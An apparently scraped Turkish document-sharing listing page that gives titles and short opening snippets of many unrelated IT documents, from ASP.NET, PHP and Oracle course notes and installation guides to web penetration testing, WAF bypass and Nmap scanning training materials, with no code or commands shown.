ASP.NET 1. DURUM YÖNETİMİ. BLM 318 e-ticaret ve Uyg. Durum Yönetimi Nedir? Durum Yönetimi: Karșılaștırma İÇERİK. Sunucu-taraflı Durum Yönetimi
Nedir? olmadan Login.aspx Bilgilerinizi giriniz Durum Yönetimi İle Login.aspx Bilgilerinizi giriniz Adınız Adınız Pınar Pınar Soyadınız Soyadınız Onay Durdu Onay Durdu Gönder Gönder ASP.NET - 1 sayfa.aspx
Internet Programming II. Elbistan Meslek Yüksek Okulu 2014 2015 Bahar Yarıyılı
Internet Programming II Elbistan Meslek Yüksek Okulu 2014 2015 Bahar Yarıyılı Öğr. Gör. Murat KEÇECĠOĞLU 11-14 May. 2014 Form Form İşlemleri Tarayıcıdan bilgi alarak işlem gerçekleştirme FORM elemanları
MASTER PAGE SAYFASI KULLANIMI
MASTER PAGE SAYFASI KULLANIMI Hazırladığımız Web sayfalarında sayfanın belli bölgelerinin sürekli sabit kalmasını istiyorsak ve bazı kısımlarının değişmesini istiyorsak Master Page Sayfası kullanırız.
Şehmus POLAT Teknoloji Fakültesi
Şehmus POLAT Teknoloji Fakültesi Elektrik-Elektronik Mühendisliği CTF Nedir? Capture the Flag (Bayrağı yakala), siber güvenlik alanında düzenlenen ve katılımcıların; kriptoloji, tersine mühendislik, log
Öğr. Gör. Serkan AKSU http://www.serkanaksu.net. http://www.serkanaksu.net/ 1
Öğr. Gör. Serkan AKSU http://www.serkanaksu.net http://www.serkanaksu.net/ 1 JavaScript JavaScript Nedir? Nestcape firması tarafından C dilinden esinlenerek yazılmış, Netscape Navigator 2.0 ile birlikte
ProFTPD FTP Sunucusu. Devrim GÜNDÜZ. TR.NET Sistem Destek Uzmanı. devrim@gunduz.org
Devrim GÜNDÜZ TR.NET Sistem Destek Uzmanı devrim@gunduz.org http://seminer.linux.org.tr http://belgeler.linux.org.tr http://lkd.belgeler.org http://www.linux.org.tr/belgeler.php http://www.gunduz.org/belgeler.php
WEB PROGRAMLAMA. PHP Temelleri 2. Dr. Erman Yukselturk
WEB PROGRAMLAMA PHP Temelleri 2 Dr. Erman Yukselturk Superglobal Değişkenler 1/4 Php de önceden tanımlanmış ve script in herhangi bir yerinden çağrılabilen ve çalıştirılabilen çevreye özel bilgiler sunan
8. HAFTA KBT204 İNTERNET PROGRAMCILIĞI II. Öğr.Gör. Hakan YILMAZ. hakanyilmaz@karabuk.edu.tr
8. HAFTA KBT204 İNTERNET PROGRAMCILIĞI II Öğr.Gör. Hakan YILMAZ hakanyilmaz@karabuk.edu.tr Karabük Üniversitesi Uzaktan Eğitim Uygulama ve Araştırma Merkezi 2 İçindekiler QUERYSTRING KOLEKSIYONU... 3 FORM
Kurumsal Güvenlik ve Web Filtreleme
S a y f a 1 antikor Kurumsal Güvenlik ve Web Filtreleme SshClient, Putty v.s. S a y f a 2 S a y f a 3 S a y f a 4 S a y f a 5 S a y f a 6 S a y f a 7 şeklini alır. Bu durumda kullanıcı yasaklı konumdadır.
BlackBerry Admin Service
SOFTWARE-TURK BlackBerry Admin Service BlackBerry Server Üzerinde Kullanıcı İşlemleri Arda Eralp 3/5/2009 www.software-turk.com BLACKBERRY SERVER ÜZERİNDE KULLANICI İŞLEMLERİ Blackeberry server üzerinde
BLGM 354 DENEY 1 * GİRİŞ
BLGM 354 DENEY 1 * GİRİŞ Amaçlar 1. Oracle istemcisi kurulumu 2. Veritabanı bağlantısı 3. SQL geliştirme ortamında çalışma Oracle İstemcisinin Kurulumu Oracle istemcisi bölümün FTP sunucusundan (ftp://ftp.cmpe.emu.edu.tr)
Arayüz Geliştirme Dokümantasyonu
Arayüz Geliştirme Dokümantasyonu Proje: İş: Müşteri: Nosab Web Sitesi Arayüz Geliştirme Aeronorm Index 1. Sayfalar 2. Renk Paleti 3. Tipografi 4. Kutu Modeli 5. Bileşenler 6. Kod ve Sayfa Yapısı 7. Responsive
Kurumsal Güvenlik ve Web Filtreleme
S a y f a 1 antikor Kurumsal Güvenlik ve Web Filtreleme SshClient, Putty v.s. S a y f a 2 S a y f a 3 Yönetici olarak AntiKor a girmek için SshClient veya Putty programı kullanılır. IP olarak kurum içinden
VET ON KULLANIM KLAVUZU
VET ON KULLANIM KLAVUZU TEMEL KULLANIM BİLGİLERİ Sürüm: Ön İzleme.1 Not: Ön İzleme sürümü için oluşturulmuş dokümandır. Release sürüm notlarını içermez. Zaman içerisinde klavuz içerisinde yer alan bilgiler
İNTERNET PROGRAMCILIĞI - II
0 İÇİNDEKİLER Bölüm 1 PHP İle Web Programlamaya Giriş 1 Bölüm 2 PHP Kodlama Standartları 5 Bölüm 3 PHP Değişken Kullanımı 17 Bölüm 4 IF Yapısı 32 Bölüm 5 Döngüler ve Diziler 64 1 BÖLÜM 1 PHP İLE WEB PROGRAMLAMAYA
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği Huzeyfe ÖNAL Bilgi Güvenliği AKADEMİSİ Huzeyfe.onal@bga.com.tr Web Uygulama Güvenliği Etkinliği / Ankara Huzeyfe ÖNAL Bilgi Güvenliği Danışmanı
MySqlConnection connection; MySqlCommand command; MySqlDataReader reader; MySqlDataAdapter adapter; DataTable table;
using System; using System.Data; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using MySql.Data; using MySql.Data.MySqlClient; namespace arac_servisi
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi Konu: Girdi Denetimi @2014 Örnek Eğitim Notu bilgi@bga.com.tr Girdi Denetimi Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir şekilde denetlenmesidir. Bir çok saldırı
ORACLE DA KÜRSÖRLER. Gerekli sistem değişkenleri
ORACLE DA KÜRSÖRLER Gerekli sistem değişkenleri SQL%ISOPEN : kürsör açıksa değeri true, kapalı ise değeri false SQL%ROWCOUNT : sql ile işlem gören kayıt sayısı bulunur. SQL%FOUND : sql işlemi sonucu, en
PHP I PHP I. E. Fatih Yetkin. 26 Eylül 2011
PHP I E. Fatih Yetkin 26 Eylül 2011 Outline Temel Tanımlar HTML e Giriş PHP ye Giriş MySQL ve PHP Temel Tanımlar Web Sunucu Nedir? Teknik detaylar bir kenara bırakılacak olursa, hazırlanan web sayfasını
BEUN VPN Hizmeti. VPN Nedir?
BEUN VPN Hizmeti VPN Nedir? VPN, Virtual Private Network, yani Sanal Özel Ağ ın kısaltılmasıdır. VPN, İnternet gibi halka açık telekomünikasyon altyapılarını kullanarak kullanıcılar veya uzak ofisleri
Kurulumdan sonra direk sunucunuzun ip adresini web tarayıcınıza girerseniz apachenin çalıştığına dair "It works" mesajını görebilirsiniz.
Webmin Kurulumu Webmin, Unix benzeri sistemler için web tabanlı sistem yapılandırma aracıdır. Debian üzerine webmin kurulumu yapacağız. Webmin UNIX/Linux sistem yöneticileri için hazırlanmış bir web yönetim
Deniz Çevik deniz.cevik@biznet.com.tr. WAF Sistemlerini ve Uygulama Filtrelerini Atlatma Teknikleri
Deniz Çevik deniz.cevik@biznet.com.tr WAF Sistemlerini ve Uygulama Filtrelerini Atlatma Teknikleri Web Application Firewall (WAF) sistemleri ; web uygulamalarını uygulama geliştiricilerden bağımsız olarak
III. Gizli Anahtar Kriptografi
III. Gizli Anahtar Kriptografi http://akademikguvenlik.wordpress.com/ III.I Simetrik Şifreleme Kriptografi kullanıcılarının alet çantalarında şu altı araç bulunur: Simetrik şifreleme Hash fonksiyonları
PROGRAMLAMA DERSİ 1. İNTERNET
PROGRAMLAMA DERSİ 1. İNTERNET İnternet sunucu-istemci modeline göre çalışır. Fiziksel olarak bu sistem genelde isteği yapan bir bilgisayar (kullanıcı-client) ve bu isteği karşılayan özel bir bilgisayar
MOBİL UYGULAMA GELİŞTİRME
MOBİL UYGULAMA GELİŞTİRME PELİN YILDIRIM FATMA BOZYİĞİT YZM 3214 Celal Bayar Üniversitesi Hasan Ferdi Turgutlu Teknoloji Fakültesi Bu Derste Veri Saklama 2 Veri Saklama Veri Saklama her appnin ihtiyaci
Web Uygulamaları Sızma Testi Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı
Web Uygulamaları Sızma Testi Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı Tarih 1 Sunum İçeriği Giriş Web Teknolojileri Standartları Bilgi Toplama ve Ayar Yönetimi Girdi-Çıktı
WEB SUNUCU GÜVENLİĞİ: Web Siteleri Neden Hacklenir?
WEB SUNUCU GÜVENLİĞİ: Web Siteleri Neden Hacklenir? Gereksiz yedek dosyaları Default ayarlarla gelen konfigürasyon dosyaları Yetkisi tam olarak verilmiş dosyalar ya da dosya izni kontrolü yapılmadan sunucuda
E-REÇETE KARŞILAŞILABİLECEK SORUNLAR VE ÇÖZÜMLERİ
E-REÇETE KARŞILAŞILABİLECEK SORUNLAR VE ÇÖZÜMLERİ LOGO YAZILIM 12/01/2018 İÇINDEKILER E-REÇETE KURULUM DETAYLARI... 3 Kurulum Yapilan Dizin... 4 Test Uygulamasi/Canlidaki Uygulama Farki... 4 E-Reçete Gönderiminin
Veri Tabanı-I 5.Hafta
Veri Tabanı-I 5.Hafta DataBase Oluşturma 1 DATABASE Kolon,özellik,alanColumn,attributes,fields) Sunucu Tablo numarası adı soyadı 0913109001 Ali Can 0913109002 Nuri Koç Database 0913109003 Fatma Kara Satır,Kayıt
KULLANICI KILAVUZU: UEA FİX KULLANICILARININ SSLVPN ERİŞİMİ İMKB İÇİNDEKİLER
KULLANICI KILAVUZU: UEA FİX KULLANICILARININ SSLVPN ERİŞİMİ İMKB Tarih: 29/01/2013 Versiyon Tarih Açıklama 1.0 29-01-13 İlk yazımı İÇİNDEKİLER 1. AMAÇ... 1-2 2. SSLVPN BAĞLANTI ADIMLARI... 2-2 2.1 Linux
Sol tarafta yer alan Click here to activate your account linkini seçiniz.
Öğrenci Bilgi Sistemi (OASIS) Kayıt İşlemleri OASIS kayıt işlemlerini gerçekleştirebilmek için; öncelikle kayıt işlemleri esnasında Öğrenci İşleri tarafından verilen öğrenci numarası ve e-posta adresinin
AMAÇLAR: GÜVENLİK TESTLERİNDE BİLGİ TOPLAMA: AKTİF BİLGİ TOPLAMA
HAFTA: 11.1 AMAÇLAR: GÜVENLİK TESTLERİNDE BİLGİ TOPLAMA: AKTİF BİLGİ TOPLAMA 1- Aktif Bilgi Toplama Hedef ile iletişime geçilerek olabildiğince fazla ve işe yarayan bilgi edinilmeye çalışılır. DNS Protokolü
Medula Eczane Stok Bilgileri Web Servisleri Kullanım Kılavuzu
T.C. SOSYAL GÜVENLİK KURUMU Medula Eczane Stok Bilgileri Web Servisleri Kullanım Kılavuzu 29 ARALIK 2016 Amaç Eczanelerin sorgulanan güne ait olan reçete ilaç bilgilerinin istemci tarafına gönderilmesi.
PHP ile Web Uygulama Güvenliği
PHP ile Web Uygulama Güvenliği Burak DAYIOĞLU - Burç YILDIRIM bd@dikey8.com by@dikey8.com http://www.dikey8.com Web de Güvenlik İhtiyacı Web e bağımlılığımız giderek artıyor Uygulamalar artan biçimde görev-kritik
Yedek Almak ve Yedekten Geri Dönmek
McAfee EPO 4.0 Yedek Yedek Almak ve Yedekten Geri Dönmek Yedek Almak ve Yedekten Geri Dönmek Amaç Mcafee EPO 4.0 kurulum yedeğinin felaket kurtarma senaryonusa uygun şekilde alınması ve yeni bir makinada
HAZIRLAYAN BEDRİ SERTKAYA bedri@bedrisertkaya.com Sistem Uzmanı CEH EĞİTMENİ
HAZIRLAYAN BEDRİ SERTKAYA bedri@bedrisertkaya.com Sistem Uzmanı CEH EĞİTMENİ Şekil:Üçlü el sıkışma süreci SCANNING NETWORKS: NMAP SCANNING TECHNIQUES: Nmap ön tanımlı olarak well-known(en çok bilinen)
Virtualmin'e Yeni Web Sitesi Host Etmek - Domain Eklemek
Yeni bir web sitesi tanımlamak, FTP ve Email ayarlarını ayarlamak için yapılması gerekenler Öncelikle Sol Menüden Create Virtual Server(Burdaki Virtual server ifadesi sizi yanıltmasın Reseller gibi düşünün
BİLGİSAYAR VE AĞ GÜVENLİĞİ ÖĞR. GÖR. MUSTAFA ÇETİNKAYA DERS 2 > AĞ VE UYGULAMA GÜVENLİĞİ
BİLGİSAYAR VE AĞ GÜVENLİĞİ BUG RESEARCHER. BUG-BÖCEK SİSTEM ZAYIFLIKLARI RESEARCHER-ARAŞTIRMACI SİSTEM ZAYIFLIKLARINI BULMA WEB UYGULAMALARINDA HATA ARAR SAYFA > 1 BUG RESEARCHER. İYİ NİYETLİ SİSTEM AÇIKLARININ
1 Aralık 2011 / Perşembe
1 Aralık 2011 / Perşembe Örnek :İki adet panel var.eğer 1nci panelde şifre Mustafa ise kendimiz bir session değişkeni oluşturup tamam yazdıracağız.değilse Şifre hatalı yazdıracağız. protectedvoid Page_Load(object
Vega Web Sipariş Kurulum
Vega Web Sipariş Kurulum - Web Sipariş Setup ı Mutlaka VegaWin Programlarının Kurulu olduğu sunucuya kurulmak zorundadır - WebSipariş ve VegaWin Setuplarının kurulu olduğu sunucu asla bir User gibi kullanılmayacaktır
Windows Live ID ve parolanızı giriniz.
Ücretsiz Deneme Hesabı Oluşturma ve Temel Özelliklerin Kullanım Kılavuzu Bilgi girilmesi gerekli alanlar Kişisel bilgi içeren alanlar http://www.windowsazure.com/tr-tr/pricing/free-trial/ adresine gidiniz
KANTAR UYGULAMASI Kurulum Kılavuzu
KANTAR UYGULAMASI Kurulum Kılavuzu Serhat Öztürk Medyasoft Danışmanlık ve Eğitim A.Ş. v.1.0 Kantar Uygulaması üç temel parçadan oluşur. Veritabanı, WCF servisi ve Masaüstü uygulaması. Bu nedenle sistemde
Coslat Monitor (Raporcu)
Coslat Monitor (Raporcu) Coslat Monitor, Coslat Firewall, Hotspot ve Mirror uygulamalarında oluşturulan zaman damgalı kayıtların analiz edilmesini ve raporlanmasını sağlayan uygulamadır. Coslat Monitor
2-Hafta Temel İşlemler
2-Hafta Temel İşlemler * Html Komutlarının Yapısı * Açıklamalar * Htm Sayfasının Oluşturulması * Temel Html Komutları * Html Sayfalarının Düzenlenmesi * Html Sayfalarının İncelenmesi Html Komutlarının
Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı
Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı Tarih 1 Veritabanı Sızma Testleri Veritabanı sistemleri kritik sistemlerdir. Testler sonucunda elde
Oluşturmak istediğimiz OU ye bir isim veriyoruz. Name kısmına ISTANBUL yazıyoruz,
ORGANİZATİONAL UNİT (OU) OrganizationUnit(OU): Türkçe Yapısal Birim olarak adlandırılan ve merkezi yönetimimizi kolaylaştıran bir objedir. Organizational Unit domain içerisindeki kullanıcı, group ve bilgisayarları
Samsun Çocuk Hizmetleri İ l Koordinasyon Sekretarya Birimi
Samsun Çocuk Hizmetleri İ l Koordinasyon Sekretarya Birimi Veri Giriş Sistemi Klavuzu Amaç Veri Giriş Sistemi, koruyucu ve destekleyici tedbir kararlarının takibinde ve uygulamasında ilgili kurumları daha
JasperReports Server ve Ireport raporlama Sistemi Kurulumu / Kullanımı 1. Bölüm 2. Bölüm 1- JasperReports Server ve Ireport Nedir?
JasperReports Server ve Ireport raporlama Sistemi Kurulumu / Kullanımı 1. Bölüm 1.1- JasperReports Server ve Ireport Nedir? 1.2- JasperReports Server ve Ireport Kurulumu 1.3- JasperReports Server Genel
JSON Korsanlığı. Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı
JSON Korsanlığı Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı İnternetin gün geçtikçe hayatımızdaki önemi arttı ve web siteleri milyonlarca insan tarafından girilen yerler haline geldi. Artık çevremizden
SQL Server 2008 kurulum için Microsoft Windows Installer 4.5 ve üzeri bileşenin bilgisayarınızda kurulu olması gerekir. İndirmek için tıklayın
Bu yazıda SQL server 2008 Express kurulumunu anlatacağım. Sql Server kurulumuna geçmeden önce bilgisayarımızın donanım ve yazılım gereksinimlerinin neler olduğuna bir bakalım. Yazılım SQL Server 2008 kurulum
Smoothwall URL Filter Kurulumu
Smoothwall URL Filter Kurulumu Dosya, Kelime, Site, Url, İp bazlı erişim ve yasaklama işlemleri Merhaba bu yazımızda Smoothwall da URL Filter servisini ekleme ve özelliklerinden bahsedeceğiz. URL Filter
ORT3167 İnternet Programcılığı 1 Ders1-2. Öğr. Grv. Aybike ŞİMŞEK
ORT3167 İnternet Programcılığı 1 Ders1-2 Öğr. Grv. Aybike ŞİMŞEK Dersin Amacı Web tabanlı uygulamalar Web Servisleri geliştirebiliyor duruma gelmek ve bunlarla ilgili bir projeyi takım çalışması ile gerçeklemek.
HUAWEI Cihazlara Erişim Yöntemleri
HUAWEI Cihazlara Erişim Yöntemleri 24/06/2013 GİRİŞ Bir Huawei cihaza nasıl erişiriz sorusuna cevap vermek için, öncelikle belirlenmesi gereken, cihaz üzerinde ne yapılmak istendiğidir. Cihaza bir dosya
Bilgisayar Programcılığı Uzaktan Eğitim Programı. e-bilg 121 AĞ TEKNOLOJİLERİNİN TEMELLERİ Öğr. Gör. Bekir Güler E-mail: bguler@fatih.edu.
Bilgisayar Programcılığı Uzaktan Eğitim Programı e-bilg 121 AĞ TEKNOLOJİLERİNİN TEMELLERİ Öğr. Gör. Bekir Güler E-mail: bguler@fatih.edu.tr Hafta 2. Uygulama (Application) katmanı 2.1 Ağ uygulamalarının
Kullanıldığı Başlıca Siteler
& Ege Hanoğlu Django Nedir? Python programlama diliyle yazılmış Web Framework Django Reinhardt Temmuz 2005'te BSD lisansı ile yayınlanmıştır Güncel Sürüm 1.4 www.djangoproject.com Kullanıldığı Başlıca
Response : Sunucunun istemciye veri yollamasını
Response : Sunucunun istemciye veri yollamasını 27 Ekim 2011 / Perşembe Örnek : 2 tane sayfa açıyoruz,1nci ye TextBox1 ve Button ekliyoruz. Şunu istiyoruz,1nci sayfada şifre girilince, Button u tıklayınca
Üst Düzey Programlama
Üst Düzey Programlama JDBC (Java Database Connectivity) Üst Düzey Programlama-ders07/ 1 JDBC JDBC ilişkisel veritabanlarına erişim için Java dilinde kullanılan standart bir kütüphanedir. Bu kütüphanedeki
LDAP VE WORDPRESS İLE
LDAP VE WORDPRESS İLE KURUMSAL PERSONEL KİŞİSEL WEB ALANI Murat ÖZALP (Bilecik Üniversitesi, BİDB) Ulaknet Çalıştay ve Eğitimi 2011 (KTÜ) NEDİR BU ÇALIŞMA? Kısaca; bildiğimiz kişisel web sunucusudur. Kurumsal
ASP.NET ile Bir Web Sitesi Oluşturma
29,30 Eylül 2011 ASP.NET ile Bir Web Sitesi Oluşturma ASP.NET sitesi oluşturmak için File menüsündeki, New açılır listesindeki, Web Site komutuna tıklıyoruz Açılan pencereden C# içindeki ASP.NET Web Site
MaestroPanel Kurulum
MaestroPanel Kurulum 28.09.2011 Oğuzhan YILMAZ oguzhan@maestropanel.com Gereksinimler Windows Server 2008 R2 x64 Any Edition Web Platform Installer 3.0+ Desteklenen Yazılımlar MailEnable 5.x SQL Server
Ağ Üzerinde MATLAB kurulum rehberi (Sunucu makine)
Ağ Üzerinde MATLAB kurulum rehberi (Sunucu makine) İçindekiler Tablosu Dosyaların Bilgisayara İndirilmesi... 3 Dosyaların Bilgisayara Yüklenmesi... 5 1. İnternet Üzerinden Kurulum 5 1.1. Lisans Dosyasının
İNTERNET PROGRAMCILIĞI DERSİ ÇALIŞMA SORULARI
İNTERNET PROGRAMCILIĞI DERSİ ÇALIŞMA SORULARI 1) Aşağıdaki seçeneklerin hangisinde PHP kod yazımı doğru olarak verilmiştir? A) B) C).. D) 2) PHP ile hazırlanmış
Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı
Internet Programming II Elbistan Meslek Yüksek Okulu 2015 2016 Bahar Yarıyılı Öğr. Gör. Murat KEÇECĠOĞLU 23 May. 2016 Form Form İşlemleri Tarayıcıdan bilgi alarak işlem gerçekleştirme FORM elemanları yardımıyla
1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız.
1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. [10 puan] int param = 30; int result = 300; if (param > 45) result
IceWarp kurulumu. IceWarp Server kurmanız için yapmamız gereken adımlar şunlardır:
IceWarp kurulumu IceWarp Server kurmanız için yapmamız gereken adımlar şunlardır: http://www. icewarp. com sitesinden,on line satış temsilicilerden ve ya da on line installer (online kurucusundan) istediğiniz
İNTERNET EXPLORER AYARLARI 1. Başlat-Ayarlar-Denetim Masası menüsünden "İnternet Özellikleri" (Seçenekleri)'ni seçiniz. Resim. 1
A.K.Ü VERİTABANLARINA UZAKTAN ERİŞİM AYARLARI Araştırmacılar, kampüs dışından erişim için kullanıcı adı ve parola doğrulaması ile Üniversitemiz sistemi üzerinden Kütüphane veri tabanlarını kullanabilmektedir.
Oracle da kullanılan veri tipleri:
ORACLE A GİRİŞ Oracle ile SQL Server ı karşılaştıralım, 1 Oracle da veritabanı yerine kullanıcı oluşturulur. Kullanıcılar veritabanı gibi davranır. 2 Tablo oluşturma, yapısını değiştirme, silme kodları
CELAL BAYAR ÜNİVERSİTESİ KÜTÜPHANE VERİTABANLARINA ÜNİVERSİTE DIŞINDAN ERİŞİM
Celal Bayar Üniversitesi kütüphane veritabanlarına üniversite dışından erişebilmek için kullandığınız internet tarayıcısına uygun olarak bazı ayarlar yapmanız gerekmektedir. Aşağıda tanımlanan ayarlar